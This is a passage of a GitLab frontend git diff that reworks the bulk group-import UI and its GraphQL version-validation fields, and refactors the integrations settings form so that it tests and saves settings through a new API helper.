- toggle-class="gl-rounded-top-right-none! gl-rounded-bottom-right-none!"
- class="gl-h-7 gl-flex-grow-1"
- data-qa-selector="target_namespace_selector_dropdown"
- >
- <gl-dropdown-item @click="$emit('update-target-namespace', { fullPath: '', id: null })">{{
- s__('BulkImport|No parent')
- }}</gl-dropdown-item>
- <template v-if="namespaces.length">
- <gl-dropdown-divider />
- <gl-dropdown-section-header>
- {{ s__('BulkImport|Existing groups') }}
- </gl-dropdown-section-header>
- <gl-dropdown-item
- v-for="ns in namespaces"
- :key="ns.fullPath"
- data-qa-selector="target_group_dropdown_item"
- :data-qa-group-name="ns.fullPath"
- @click="$emit('update-target-namespace', ns)"
- >
- {{ ns.fullPath }}
- </gl-dropdown-item>
- </template>
- </import-group-dropdown>
- <div
- class="gl-h-7 gl-px-3 gl-display-flex gl-align-items-center gl-border-solid gl-border-0 gl-border-t-1 gl-border-b-1 gl-bg-gray-10"
- :class="{
- 'gl-text-gray-400 gl-border-gray-100': !group.flags.isAvailableForImport,
- 'gl-border-gray-200': group.flags.isAvailableForImport,
- }"
- >
- /
- </div>
- <div class="gl-flex-grow-1">
- <gl-form-input
- class="gl-rounded-top-left-none gl-rounded-bottom-left-none"
+ <div>
+ <div class="gl-display-flex gl-align-items-stretch">
+ <import-group-dropdown
+ #default="{ namespaces }"
+ :text="fullPath"
+ :disabled="!group.flags.isAvailableForImport"
+ :namespaces="availableNamespaces"
+ toggle-class="gl-rounded-top-right-none! gl-rounded-bottom-right-none!"
+ class="gl-h-7 gl-flex-grow-1"
+ data-qa-selector="target_namespace_selector_dropdown"
+ >
+ <gl-dropdown-item @click="$emit('update-target-namespace', { fullPath: '', id: null })">{{
+ s__('BulkImport|No parent')
+ }}</gl-dropdown-item>
+ <template v-if="namespaces.length">
+ <gl-dropdown-divider />
+ <gl-dropdown-section-header>
+ {{ s__('BulkImport|Existing groups') }}
+ </gl-dropdown-section-header>
+ <gl-dropdown-item
+ v-for="ns in namespaces"
+ :key="ns.fullPath"
+ data-qa-selector="target_group_dropdown_item"
+ :data-qa-group-name="ns.fullPath"
+ @click="$emit('update-target-namespace', ns)"
+ >
+ {{ ns.fullPath }}
+ </gl-dropdown-item>
+ </template>
+ </import-group-dropdown>
+ <div
+ class="gl-h-7 gl-px-3 gl-display-flex gl-align-items-center gl-border-solid gl-border-0 gl-border-t-1 gl-border-b-1 gl-bg-gray-10"
:class="{
- 'gl-inset-border-1-gray-200!': group.flags.isAvailableForImport,
- 'gl-inset-border-1-gray-100!': !group.flags.isAvailableForImport,
- 'is-invalid': group.flags.isInvalid && group.flags.isAvailableForImport,
+ 'gl-text-gray-400 gl-border-gray-100': !group.flags.isAvailableForImport,
+ 'gl-border-gray-200': group.flags.isAvailableForImport,
}"
- debounce="500"
- :disabled="!group.flags.isAvailableForImport"
- :value="group.importTarget.newName"
- :aria-label="__('New name')"
- @input="$emit('update-new-name', $event)"
- />
- <p
- v-if="group.flags.isAvailableForImport && group.flags.isInvalid"
- class="gl-text-red-500 gl-m-0 gl-mt-2"
>
- {{ invalidNameValidationMessage }}
- </p>
+ /
+ </div>
+ <div class="gl-flex-grow-1">
+ <gl-form-input
+ class="gl-rounded-top-left-none gl-rounded-bottom-left-none"
+ :class="{
+ 'gl-inset-border-1-gray-200!':
+ group.flags.isAvailableForImport && !group.flags.isInvalid,
+ 'gl-inset-border-1-gray-100!':
+ !group.flags.isAvailableForImport && !group.flags.isInvalid,
+ }"
+ debounce="500"
+ :disabled="!group.flags.isAvailableForImport"
+ :value="group.importTarget.newName"
+ :aria-label="__('New name')"
+ :state="validNameState"
+ @input="$emit('update-new-name', $event)"
+ />
+ </div>
+ </div>
+ <div
+ v-if="group.flags.isAvailableForImport && (group.flags.isInvalid || validationMessage)"
+ class="gl-text-red-500 gl-m-0 gl-mt-2"
+ role="alert"
+ >
+ {{ validationMessage }}
</div>
</div>
</template>
diff --git a/app/assets/javascripts/import_entities/import_groups/constants.js b/app/assets/javascripts/import_entities/import_groups/constants.js
index aa9cf3897e6..ac1466238d0 100644
--- a/app/assets/javascripts/import_entities/import_groups/constants.js
+++ b/app/assets/javascripts/import_entities/import_groups/constants.js
@@ -11,6 +11,10 @@ export const i18n = {
),
ERROR_IMPORT: s__('BulkImport|Importing the group failed.'),
ERROR_IMPORT_COMPLETED: s__('BulkImport|Import is finished. Pick another name for re-import'),
+
+ features: {
+ projectMigration: __('projects'),
+ },
};
export const NEW_NAME_FIELD = 'newName';
diff --git a/app/assets/javascripts/import_entities/import_groups/graphql/client_factory.js b/app/assets/javascripts/import_entities/import_groups/graphql/client_factory.js
index bce6e7bcb1f..36da996ea17 100644
--- a/app/assets/javascripts/import_entities/import_groups/graphql/client_factory.js
+++ b/app/assets/javascripts/import_entities/import_groups/graphql/client_factory.js
@@ -14,6 +14,9 @@ export const clientTypenames = {
BulkImportPageInfo: 'ClientBulkImportPageInfo',
BulkImportTarget: 'ClientBulkImportTarget',
BulkImportProgress: 'ClientBulkImportProgress',
+ BulkImportVersionValidation: 'ClientBulkImportVersionValidation',
+ BulkImportVersionValidationFeature: 'ClientBulkImportVersionValidationFeature',
+ BulkImportVersionValidationFeatures: 'ClientBulkImportVersionValidationFeatures',
};
function makeLastImportTarget(data) {
@@ -92,6 +95,18 @@ export function createResolvers({ endpoints }) {
__typename: clientTypenames.BulkImportPageInfo,
...pagination,
},
+ versionValidation: {
+ __typename: clientTypenames.BulkImportVersionValidation,
+ features: {
+ __typename: clientTypenames.BulkImportVersionValidationFeatures,
+ sourceInstanceVersion: data.version_validation.features.source_instance_version,
+ projectMigration: {
+ __typename: clientTypenames.BulkImportVersionValidationFeature,
+ available: data.version_validation.features.project_migration.available,
+ minVersion: data.version_validation.features.project_migration.min_version,
+ },
+ },
+ },
};
return response;
},
@@ -142,9 +157,7 @@ export function createResolvers({ endpoints }) {
};
});
- const {
- data: { id: jobId },
- } = await axios.post(endpoints.createBulkImport, {
+ const { data: originalResponse } = await axios.post(endpoints.createBulkImport, {
bulk_import: importOperations.map((op) => ({
source_type: 'group_entity',
source_full_path: op.group.fullPath,
@@ -153,15 +166,21 @@ export function createResolvers({ endpoints }) {
})),
});
- return importOperations.map((op) => {
+ const responses = Array.isArray(originalResponse)
+ ? originalResponse
+ : [{ success: true, id: originalResponse.id }];
+
+ return importOperations.map((op, idx) => {
+ const response = responses[idx];
const lastImportTarget = {
targetNamespace: op.targetNamespace,
newName: op.newName,
};
const progress = {
- id: jobId,
- status: STATUSES.CREATED,
+ id: response.id || `local-${Date.now()}-${idx}`,
+ status: response.success ? STATUSES.CREATED : STATUSES.FAILED,
+ message: response.message || null,
};
localStorageCache.set(op.group.webUrl, { progress, lastImportTarget });
diff --git a/app/assets/javascripts/import_entities/import_groups/graphql/fragments/bulk_import_source_group_progress.fragment.graphql b/app/assets/javascripts/import_entities/import_groups/graphql/fragments/bulk_import_source_group_progress.fragment.graphql
index 2d60bf82d65..33c564f36a8 100644
--- a/app/assets/javascripts/import_entities/import_groups/graphql/fragments/bulk_import_source_group_progress.fragment.graphql
+++ b/app/assets/javascripts/import_entities/import_groups/graphql/fragments/bulk_import_source_group_progress.fragment.graphql
@@ -1,4 +1,5 @@
fragment BulkImportSourceGroupProgress on ClientBulkImportProgress {
id
status
+ message
}
diff --git a/app/assets/javascripts/import_entities/import_groups/graphql/mutations/import_groups.mutation.graphql b/app/assets/javascripts/import_entities/import_groups/graphql/mutations/import_groups.mutation.graphql
index 75215471d0f..39289887b75 100644
--- a/app/assets/javascripts/import_entities/import_groups/graphql/mutations/import_groups.mutation.graphql
+++ b/app/assets/javascripts/import_entities/import_groups/graphql/mutations/import_groups.mutation.graphql
@@ -9,6 +9,7 @@ mutation importGroups($importRequests: [ImportGroupInput!]!) {
progress {
id
status
+ message
}
}
}
diff --git a/app/assets/javascripts/import_entities/import_groups/graphql/queries/bulk_import_source_groups.query.graphql b/app/assets/javascripts/import_entities/import_groups/graphql/queries/bulk_import_source_groups.query.graphql
index 28dfefdf8a7..ace8bffc012 100644
--- a/app/assets/javascripts/import_entities/import_groups/graphql/queries/bulk_import_source_groups.query.graphql
+++ b/app/assets/javascripts/import_entities/import_groups/graphql/queries/bulk_import_source_groups.query.graphql
@@ -11,5 +11,14 @@ query bulkImportSourceGroups($page: Int = 1, $perPage: Int = 20, $filter: String
total
totalPages
}
+ versionValidation {
+ features {
+ sourceInstanceVersion
+ projectMigration {
+ available
+ minVersion
+ }
+ }
+ }
}
}
diff --git a/app/assets/javascripts/import_entities/import_groups/graphql/services/local_storage_cache.js b/app/assets/javascripts/import_entities/import_groups/graphql/services/local_storage_cache.js
index 09bc7b33692..1aad22f0f3f 100644
--- a/app/assets/javascripts/import_entities/import_groups/graphql/services/local_storage_cache.js
+++ b/app/assets/javascripts/import_entities/import_groups/graphql/services/local_storage_cache.js
@@ -22,7 +22,14 @@ export class LocalStorageCache {
loadCacheFromStorage() {
try {
- return JSON.parse(this.storage.getItem(KEY)) ?? {};
+ const storage = JSON.parse(this.storage.getItem(KEY)) ?? {};
+ Object.values(storage).forEach((entry) => {
+ if (entry.progress && !('message' in entry.progress)) {
+ // eslint-disable-next-line no-param-reassign
+ entry.progress.message = '';
+ }
+ });
+ return storage;
} catch {
return {};
}
diff --git a/app/assets/javascripts/import_entities/import_groups/graphql/typedefs.graphql b/app/assets/javascripts/import_entities/import_groups/graphql/typedefs.graphql
index b8dd79a5000..c48e22a7717 100644
--- a/app/assets/javascripts/import_entities/import_groups/graphql/typedefs.graphql
+++ b/app/assets/javascripts/import_entities/import_groups/graphql/typedefs.graphql
@@ -11,11 +11,13 @@ type ClientBulkImportTarget {
type ClientBulkImportSourceGroupConnection {
nodes: [ClientBulkImportSourceGroup!]!
pageInfo: ClientBulkImportPageInfo!
+ versionValidation: ClientBulkImportVersionValidation!
}
type ClientBulkImportProgress {
id: ID!
status: String!
+ message: String
}
type ClientBulkImportValidationError {
@@ -45,6 +47,20 @@ type ClientBulkImportNamespaceSuggestion {
suggestions: [String!]!
}
+type ClientBulkImportVersionValidation {
+ features: ClientBulkImportVersionValidationFeatures!
+}
+
+type ClientBulkImportVersionValidationFeatures {
+ project_migration: ClientBulkImportVersionValidationFeature!
+ sourceInstanceVersion: String!
+}
+
+type ClientBulkImportVersionValidationFeature {
+ available: Boolean!
+ min_version: String!
+}
+
extend type Query {
bulkImportSourceGroups(
page: Int!
diff --git a/app/assets/javascripts/incidents/graphql/fragments/incident_fields.fragment.graphql b/app/assets/javascripts/incidents/graphql/fragments/incident_fields.fragment.graphql
index eb2dde14464..faa68d37088 100644
--- a/app/assets/javascripts/incidents/graphql/fragments/incident_fields.fragment.graphql
+++ b/app/assets/javascripts/incidents/graphql/fragments/incident_fields.fragment.graphql
@@ -1,3 +1,4 @@
+# eslint-disable-next-line @graphql-eslint/require-id-when-available
fragment IncidentFields on Issue {
severity
}
diff --git a/app/assets/javascripts/incidents/graphql/queries/get_count_by_status.query.graphql b/app/assets/javascripts/incidents/graphql/queries/get_count_by_status.query.graphql
index 4e44a506c4f..fda8a65d4a4 100644
--- a/app/assets/javascripts/incidents/graphql/queries/get_count_by_status.query.graphql
+++ b/app/assets/javascripts/incidents/graphql/queries/get_count_by_status.query.graphql
@@ -6,6 +6,7 @@ query getIncidentsCountByStatus(
$assigneeUsername: String = ""
) {
project(fullPath: $projectPath) {
+ id
issueStatusCounts(
search: $searchTerm
types: $issueTypes
diff --git a/app/assets/javascripts/incidents/graphql/queries/get_incidents.query.graphql b/app/assets/javascripts/incidents/graphql/queries/get_incidents.query.graphql
index f97664a3b77..1e18d89b656 100644
--- a/app/assets/javascripts/incidents/graphql/queries/get_incidents.query.graphql
+++ b/app/assets/javascripts/incidents/graphql/queries/get_incidents.query.graphql
@@ -14,6 +14,7 @@ query getIncidents(
$assigneeUsername: String = ""
) {
project(fullPath: $projectPath) {
+ id
issues(
search: $searchTerm
types: $issueTypes
@@ -27,18 +28,21 @@ query getIncidents(
before: $prevPageCursor
) {
nodes {
+ id
iid
title
createdAt
state
labels {
nodes {
+ id
title
color
}
}
assignees {
nodes {
+ id
name
username
avatarUrl
diff --git a/app/assets/javascripts/init_confirm_danger.js b/app/assets/javascripts/init_confirm_danger.js
index d3d32c8be54..a8833a17467 100644
--- a/app/assets/javascripts/init_confirm_danger.js
+++ b/app/assets/javascripts/init_confirm_danger.js
@@ -10,6 +10,7 @@ export default () => {
removeFormId = null,
phrase,
buttonText,
+ buttonClass = '',
buttonTestid = null,
confirmDangerMessage,
disabled = false,
@@ -25,6 +26,7 @@ export default () => {
props: {
phrase,
buttonText,
+ buttonClass,
buttonTestid,
disabled: parseBoolean(disabled),
},
diff --git a/app/assets/javascripts/init_issuable_sidebar.js b/app/assets/javascripts/init_issuable_sidebar.js
deleted file mode 100644
index 7a70d893008..00000000000
--- a/app/assets/javascripts/init_issuable_sidebar.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/* eslint-disable no-new */
-
-import { getSidebarOptions } from '~/sidebar/mount_sidebar';
-import IssuableContext from './issuable_context';
-import Sidebar from './right_sidebar';
-
-export default () => {
- const sidebarOptEl = document.querySelector('.js-sidebar-options');
-
- if (!sidebarOptEl) return;
-
- const sidebarOptions = getSidebarOptions(sidebarOptEl);
-
- new IssuableContext(sidebarOptions.currentUser);
- Sidebar.initialize();
-};
diff --git a/app/assets/javascripts/init_labels.js b/app/assets/javascripts/init_labels.js
deleted file mode 100644
index 10bfbf7960c..00000000000
--- a/app/assets/javascripts/init_labels.js
+++ /dev/null
@@ -1,19 +0,0 @@
-import $ from 'jquery';
-import GroupLabelSubscription from './group_label_subscription';
-import LabelManager from './label_manager';
-import ProjectLabelSubscription from './project_label_subscription';
-
-export default () => {
- if ($('.prioritized-labels').length) {
- new LabelManager(); // eslint-disable-line no-new
- }
- $('.label-subscription').each((i, el) => {
- const $el = $(el);
-
- if ($el.find('.dropdown-group-label').length) {
- new GroupLabelSubscription($el); // eslint-disable-line no-new
- } else {
- new ProjectLabelSubscription($el); // eslint-disable-line no-new
- }
- });
-};
diff --git a/app/assets/javascripts/integrations/constants.js b/app/assets/javascripts/integrations/constants.js
index d214ee4ded6..84656bd41bb 100644
--- a/app/assets/javascripts/integrations/constants.js
+++ b/app/assets/javascripts/integrations/constants.js
@@ -1,9 +1,5 @@
import { s__, __ } from '~/locale';
-export const TEST_INTEGRATION_EVENT = 'testIntegration';
-export const SAVE_INTEGRATION_EVENT = 'saveIntegration';
-export const GET_JIRA_ISSUE_TYPES_EVENT = 'getJiraIssueTypes';
-export const TOGGLE_INTEGRATION_EVENT = 'toggleIntegration';
export const VALIDATE_INTEGRATION_FORM_EVENT = 'validateIntegrationForm';
export const integrationLevels = {
diff --git a/app/assets/javascripts/integrations/edit/api.js b/app/assets/javascripts/integrations/edit/api.js
new file mode 100644
index 00000000000..7bce5604f9d
--- /dev/null
+++ b/app/assets/javascripts/integrations/edit/api.js
@@ -0,0 +1,9 @@
+import axios from '~/lib/utils/axios_utils';
+
+/**
+ * Test the validity of [integrationFormData].
+ * @return Promise<{ issuetypes: []String }> - issuetypes contains valid Jira issue types.
+ */
+export const testIntegrationSettings = (testPath, integrationFormData) => {
+ return axios.put(testPath, integrationFormData);
+};
diff --git a/app/assets/javascripts/integrations/edit/components/active_checkbox.vue b/app/assets/javascripts/integrations/edit/components/active_checkbox.vue
index 9804a9e15f6..5ddf3aeb639 100644
--- a/app/assets/javascripts/integrations/edit/components/active_checkbox.vue
+++ b/app/assets/javascripts/integrations/edit/components/active_checkbox.vue
@@ -1,8 +1,6 @@
<script>
import { GlFormGroup, GlFormCheckbox } from '@gitlab/ui';
import { mapGetters } from 'vuex';
-import { TOGGLE_INTEGRATION_EVENT } from '~/integrations/constants';
-import eventHub from '../event_hub';
export default {
name: 'ActiveCheckbox',
@@ -20,14 +18,11 @@ export default {
},
mounted() {
this.activated = this.propsSource.initialActivated;
- // Initialize view
- this.$nextTick(() => {
- this.onChange(this.activated);
- });
+ this.onChange(this.activated);
},
methods: {
- onChange(e) {
- eventHub.$emit(TOGGLE_INTEGRATION_EVENT, e);
+ onChange(isChecked) {
+ this.$emit('toggle-integration-active', isChecked);
},
},
};
diff --git a/app/assets/javascripts/integrations/edit/components/confirmation_modal.vue b/app/assets/javascripts/integrations/edit/components/confirmation_modal.vue
index 89f7e3b7a89..bc6aa231a93 100644
--- a/app/assets/javascripts/integrations/edit/components/confirmation_modal.vue
+++ b/app/assets/javascripts/integrations/edit/components/confirmation_modal.vue
@@ -1,22 +1,17 @@
<script>
import { GlModal } from '@gitlab/ui';
-import { mapGetters } from 'vuex';
import { __ } from '~/locale';
export default {
components: {
GlModal,
},
+
computed: {
- ...mapGetters(['isDisabled']),
primaryProps() {
return {
text: __('Save'),
- attributes: [
- { variant: 'confirm' },
- { category: 'primary' },
- { disabled: this.isDisabled },
- ],
+ attributes: [{ variant: 'confirm' }, { category: 'primary' }],
};
},
cancelProps() {
diff --git a/app/assets/javascripts/integrations/edit/components/integration_form.vue b/app/assets/javascripts/integrations/edit/components/integration_form.vue
index ba1aeb28616..e570a468944 100644
--- a/app/assets/javascripts/integrations/edit/components/integration_form.vue
+++ b/app/assets/javascripts/integrations/edit/components/integration_form.vue
@@ -1,14 +1,17 @@
<script>
import { GlButton, GlModalDirective, GlSafeHtmlDirective as SafeHtml } from '@gitlab/ui';
+import * as Sentry from '@sentry/browser';
import { mapState, mapActions, mapGetters } from 'vuex';
import glFeatureFlagsMixin from '~/vue_shared/mixins/gl_feature_flags_mixin';
import {
- TEST_INTEGRATION_EVENT,
- SAVE_INTEGRATION_EVENT,
+ VALIDATE_INTEGRATION_FORM_EVENT,
+ I18N_FETCH_TEST_SETTINGS_DEFAULT_ERROR_MESSAGE,
+ I18N_DEFAULT_ERROR_MESSAGE,
+ I18N_SUCCESSFUL_CONNECTION_MESSAGE,
integrationLevels,
} from '~/integrations/constants';
import eventHub from '../event_hub';
-
+import { testIntegrationSettings } from '../api';
import ActiveCheckbox from './active_checkbox.vue';
import ConfirmationModal from './confirmation_modal.vue';
import DynamicField from './dynamic_field.vue';
@@ -37,22 +40,26 @@ export default {
},
mixins: [glFeatureFlagsMixin()],
props: {
+ formSelector: {
+ type: String,
+ required: true,
+ },
helpHtml: {
type: String,
required: false,
default: '',
},
},
+ data() {
+ return {
+ integrationActive: false,
+ isTesting: false,
+ isSaving: false,
+ };
+ },
computed: {
- ...mapGetters(['currentKey', 'propsSource', 'isDisabled']),
- ...mapState([
- 'defaultState',
- 'customState',
- 'override',
- 'isSaving',
- 'isTesting',
- 'isResetting',
- ]),
+ ...mapGetters(['currentKey', 'propsSource']),
+ ...mapState(['defaultState', 'customState', 'override', 'isResetting']),
isEditable() {
return this.propsSource.editable;
},
@@ -65,29 +72,81 @@ export default {
this.customState.integrationLevel === integrationLevels.GROUP
);
},
- showReset() {
+ showResetButton() {
return this.isInstanceOrGroupLevel && this.propsSource.resetPath;
},
+ showTestButton() {
+ return this.propsSource.canTest;
+ },
+ disableButtons() {
+ return Boolean(this.isSaving || this.isResetting || this.isTesting);
+ },
+ },
+ mounted() {
+ // this form element is defined in Haml
+ this.form = document.querySelector(this.formSelector);
},
methods: {
- ...mapActions([
- 'setOverride',
- 'setIsSaving',
- 'setIsTesting',
- 'setIsResetting',
- 'fetchResetIntegration',
- ]),
+ ...mapActions(['setOverride', 'fetchResetIntegration', 'requestJiraIssueTypes']),
onSaveClick() {
- this.setIsSaving(true);
- eventHub.$emit(SAVE_INTEGRATION_EVENT);
+ this.isSaving = true;
+
+ if (this.integrationActive && !this.form.checkValidity()) {
+ this.isSaving = false;
+ eventHub.$emit(VALIDATE_INTEGRATION_FORM_EVENT);
+ return;
+ }
+
+ this.form.submit();
},
onTestClick() {
- this.setIsTesting(true);
- eventHub.$emit(TEST_INTEGRATION_EVENT);
+ this.isTesting = true;
+
+ if (!this.form.checkValidity()) {
+ eventHub.$emit(VALIDATE_INTEGRATION_FORM_EVENT);
+ return;
+ }
+
+ testIntegrationSettings(this.propsSource.testPath, this.getFormData())
+ .then(({ data: { error, message = I18N_FETCH_TEST_SETTINGS_DEFAULT_ERROR_MESSAGE } }) => {
+ if (error) {
+ eventHub.$emit(VALIDATE_INTEGRATION_FORM_EVENT);
+ this.$toast.show(message);
+ return;
+ }
+
+ this.$toast.show(I18N_SUCCESSFUL_CONNECTION_MESSAGE);
+ })
+ .catch((error) => {
+ this.$toast.show(I18N_DEFAULT_ERROR_MESSAGE);
+ Sentry.captureException(error);
+ })
+ .finally(() => {
+ this.isTesting = false;
+ });
},
onResetClick() {
this.fetchResetIntegration();
},
+ onRequestJiraIssueTypes() {
+ this.requestJiraIssueTypes(this.getFormData());
+ },
+ getFormData() {
+ return new FormData(this.form);
+ },
+ onToggleIntegrationState(integrationActive) {
+ this.integrationActive = integrationActive;
+ if (!this.form) {
+ return;
+ }
+
+ // If integration will be active, enable form validation.
+ if (integrationActive) {
+ this.form.removeAttribute('novalidate');
+ } else {
+ this.form.setAttribute('novalidate', true);
+ }
+ },
},
helpHtmlConfig: {
ADD_ATTR: ['target'], // allow external links, can be removed after https://gitlab.com/gitlab-org/gitlab-ui/-/issues/1427 is implemented
@@ -114,7 +173,11 @@ export default {
<!-- helpHtml is trusted input -->
<div v-if="helpHtml" v-safe-html:[$options.helpHtmlConfig]="helpHtml"></div>
- <active-checkbox v-if="propsSource.showActive" :key="`${currentKey}-active-checkbox`" />
+ <active-checkbox
+ v-if="propsSource.showActive"
+ :key="`${currentKey}-active-checkbox`"
+ @toggle-integration-active="onToggleIntegrationState"
+ />
<jira-trigger-fields
v-if="isJira"
:key="`${currentKey}-jira-trigger-fields`"
@@ -135,6 +198,7 @@ export default {
v-if="isJira && !isInstanceOrGroupLevel"
:key="`${currentKey}-jira-issues-fields`"
v-bind="propsSource.jiraIssuesProps"
+ @request-jira-issue-types="onRequestJiraIssueTypes"
/>
<div v-if="isEditable" class="footer-block row-content-block">
<template v-if="isInstanceOrGroupLevel">
@@ -143,7 +207,7 @@ export default {
category="primary"
variant="confirm"
:loading="isSaving"
- :disabled="isDisabled"
+ :disabled="disableButtons"
data-qa-selector="save_changes_button"
>
{{ __('Save changes') }}
@@ -156,7 +220,8 @@ export default {
variant="confirm"
type="submit"
:loading="isSaving"
- :disabled="isDisabled"
+ :disabled="disableButtons"
+ data-testid="save-button"
data-qa-selector="save_changes_button"
@click.prevent="onSaveClick"
>
@@ -164,24 +229,24 @@ export default {
</gl-button>
<gl-button
- v-if="propsSource.canTest"
+ v-if="showTestButton"
category="secondary"
variant="confirm"
:loading="isTesting"
- :disabled="isDisabled"
- :href="propsSource.testPath"
+ :disabled="disableButtons"
+ data-testid="test-button"
@click.prevent="onTestClick"
>
{{ __('Test settings') }}
</gl-button>
- <template v-if="showReset">
+ <template v-if="showResetButton">
<gl-button
v-gl-modal.confirmResetIntegration
category="secondary"
variant="confirm"
:loading="isResetting"
- :disabled="isDisabled"
+ :disabled="disableButtons"
data-testid="reset-button"
>
{{ __('Reset') }}
diff --git a/app/assets/javascripts/integrations/edit/components/jira_issues_fields.vue b/app/assets/javascripts/integrations/edit/components/jira_issues_fields.vue
index 7cbfb35aeaa..99498501f6c 100644
--- a/app/assets/javascripts/integrations/edit/components/jira_issues_fields.vue
+++ b/app/assets/javascripts/integrations/edit/components/jira_issues_fields.vue
@@ -1,10 +1,7 @@
<script>
import { GlFormGroup, GlFormCheckbox, GlFormInput, GlSprintf, GlLink } from '@gitlab/ui';
import { mapGetters } from 'vuex';
-import {
- VALIDATE_INTEGRATION_FORM_EVENT,
- GET_JIRA_ISSUE_TYPES_EVENT,
-} from '~/integrations/constants';
+import { VALIDATE_INTEGRATION_FORM_EVENT } from '~/integrations/constants';
import { s__, __ } from '~/locale';
import eventHub from '../event_hub';
import JiraUpgradeCta from './jira_upgrade_cta.vue';
@@ -91,9 +88,6 @@ export default {
validateForm() {
this.validated = true;
},
- getJiraIssueTypes() {
- eventHub.$emit(GET_JIRA_ISSUE_TYPES_EVENT);
- },
},
i18n: {
sectionTitle: s__('JiraService|View Jira issues in GitLab'),
@@ -123,7 +117,11 @@ export default {
</p>
<template v-if="showJiraIssuesIntegration">
<input name="service[issues_enabled]" type="hidden" :value="enableJiraIssues || false" />
- <gl-form-checkbox v-model="enableJiraIssues" :disabled="isInheriting">
+ <gl-form-checkbox
+ v-model="enableJiraIssues"
+ :disabled="isInheriting"
+ data-qa-selector="service_jira_issues_enabled_checkbox"
+ >
{{ $options.i18n.enableCheckboxLabel }}
<template #help>
{{ $options.i18n.enableCheckboxHelp }}
@@ -136,7 +134,7 @@ export default {
:initial-issue-type-id="initialVulnerabilitiesIssuetype"
:show-full-feature="showJiraVulnerabilitiesIntegration"
data-testid="jira-for-vulnerabilities"
- @request-get-issue-types="getJiraIssueTypes"
+ @request-jira-issue-types="$emit('request-jira-issue-types')"
/>
<jira-upgrade-cta
v-if="!showJiraVulnerabilitiesIntegration"
@@ -168,6 +166,7 @@ export default {
id="service_project_key"
v-model="projectKey"
name="service[project_key]"
+ data-qa-selector="service_jira_project_key_field"
:placeholder="$options.i18n.projectKeyPlaceholder"
:required="enableJiraIssues"
:state="validProjectKey"
diff --git a/app/assets/javascripts/integrations/edit/components/reset_confirmation_modal.vue b/app/assets/javascripts/integrations/edit/components/reset_confirmation_modal.vue
index 9472a3eeafe..5a445235219 100644
--- a/app/assets/javascripts/integrations/edit/components/reset_confirmation_modal.vue
+++ b/app/assets/javascripts/integrations/edit/components/reset_confirmation_modal.vue
@@ -1,6 +1,5 @@
<script>
import { GlModal } from '@gitlab/ui';
-import { mapGetters } from 'vuex';
import { __ } from '~/locale';
@@ -9,15 +8,10 @@ export default {
GlModal,
},
computed: {
- ...mapGetters(['isDisabled']),
primaryProps() {
return {
text: __('Reset'),
- attributes: [
- { variant: 'warning' },
- { category: 'primary' },
- { disabled: this.isDisabled },
- ],
+ attributes: [{ variant: 'warning' }, { category: 'primary' }],
};
},
cancelProps() {
diff --git a/app/assets/javascripts/integrations/edit/index.js b/app/assets/javascripts/integrations/edit/index.js
index 792e7d8e85e..9c9e3edbeb8 100644
--- a/app/assets/javascripts/integrations/edit/index.js
+++ b/app/assets/javascripts/integrations/edit/index.js
@@ -85,35 +85,39 @@ function parseDatasetToProps(data) {
};
}
-export default (el, defaultEl) => {
- if (!el) {
+export default function initIntegrationSettingsForm(formSelector) {
+ const customSettingsEl = document.querySelector('.js-vue-integration-settings');
+ const defaultSettingsEl = document.querySelector('.js-vue-default-integration-settings');
+
+ if (!customSettingsEl) {
return null;
}
- const props = parseDatasetToProps(el.dataset);
+ const customSettingsProps = parseDatasetToProps(customSettingsEl.dataset);
const initialState = {
defaultState: null,
- customState: props,
+ customState: customSettingsProps,
};
- if (defaultEl) {
- initialState.defaultState = Object.freeze(parseDatasetToProps(defaultEl.dataset));
+ if (defaultSettingsEl) {
+ initialState.defaultState = Object.freeze(parseDatasetToProps(defaultSettingsEl.dataset));
}
// Here, we capture the "helpHtml", so we can pass it to the Vue component
// to position it where ever it wants.
// Because this node is a _child_ of `el`, it will be removed when the Vue component is mounted,
// so we don't need to manually remove it.
- const helpHtml = el.querySelector('.js-integration-help-html')?.innerHTML;
+ const helpHtml = customSettingsEl.querySelector('.js-integration-help-html')?.innerHTML;
return new Vue({
- el,
+ el: customSettingsEl,
store: createStore(initialState),
render(createElement) {
return createElement(IntegrationForm, {
props: {
helpHtml,
+ formSelector,
},
});
},
});
-};
+}
diff --git a/app/assets/javascripts/integrations/edit/store/actions.js b/app/assets/javascripts/integrations/edit/store/actions.js
index 400397c050c..97565a3a69c 100644
--- a/app/assets/javascripts/integrations/edit/store/actions.js
+++ b/app/assets/javascripts/integrations/edit/store/actions.js
@@ -1,10 +1,15 @@
import axios from 'axios';
import { refreshCurrentPage } from '~/lib/utils/url_utility';
+import {
+ VALIDATE_INTEGRATION_FORM_EVENT,
+ I18N_FETCH_TEST_SETTINGS_DEFAULT_ERROR_MESSAGE,
+ I18N_DEFAULT_ERROR_MESSAGE,
+} from '~/integrations/constants';
+import { testIntegrationSettings } from '../api';
+import eventHub from '../event_hub';
import * as types from './mutation_types';
export const setOverride = ({ commit }, override) => commit(types.SET_OVERRIDE, override);
-export const setIsSaving = ({ commit }, isSaving) => commit(types.SET_IS_SAVING, isSaving);
-export const setIsTesting = ({ commit }, isTesting) => commit(types.SET_IS_TESTING, isTesting);
export const setIsResetting = ({ commit }, isResetting) =>
commit(types.SET_IS_RESETTING, isResetting);
@@ -27,10 +32,28 @@ export const fetchResetIntegration = ({ dispatch, getters }) => {
.catch(() => dispatch('receiveResetIntegrationError'));
};
-export const requestJiraIssueTypes = ({ commit }) => {
+export const requestJiraIssueTypes = ({ commit, dispatch, getters }, formData) => {
commit(types.SET_JIRA_ISSUE_TYPES_ERROR_MESSAGE, '');
commit(types.SET_IS_LOADING_JIRA_ISSUE_TYPES, true);
+
+ return testIntegrationSettings(getters.propsSource.testPath, formData)
+ .then(
+ ({
+ data: { issuetypes, error, message = I18N_FETCH_TEST_SETTINGS_DEFAULT_ERROR_MESSAGE },
+ }) => {
+ if (error || !issuetypes?.length) {
+ eventHub.$emit(VALIDATE_INTEGRATION_FORM_EVENT);
+ throw new Error(message);
+ }
+
+ dispatch('receiveJiraIssueTypesSuccess', issuetypes);
+ },
+ )
+ .catch(({ message = I18N_DEFAULT_ERROR_MESSAGE }) => {
+ dispatch('receiveJiraIssueTypesError', message);
+ });
};
+
export const receiveJiraIssueTypesSuccess = ({ commit }, issueTypes = []) => {
commit(types.SET_IS_LOADING_JIRA_ISSUE_TYPES, false);
commit(types.SET_JIRA_ISSUE_TYPES, issueTypes);
